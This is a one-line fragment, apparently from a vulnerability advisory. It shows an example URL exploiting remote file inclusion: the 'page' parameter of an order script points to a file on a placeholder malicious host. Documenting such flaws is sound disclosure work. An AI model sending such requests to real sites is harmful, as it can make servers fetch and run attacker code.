example:

http://www.example.com/order/index.php?page=http://[malicious_site]/file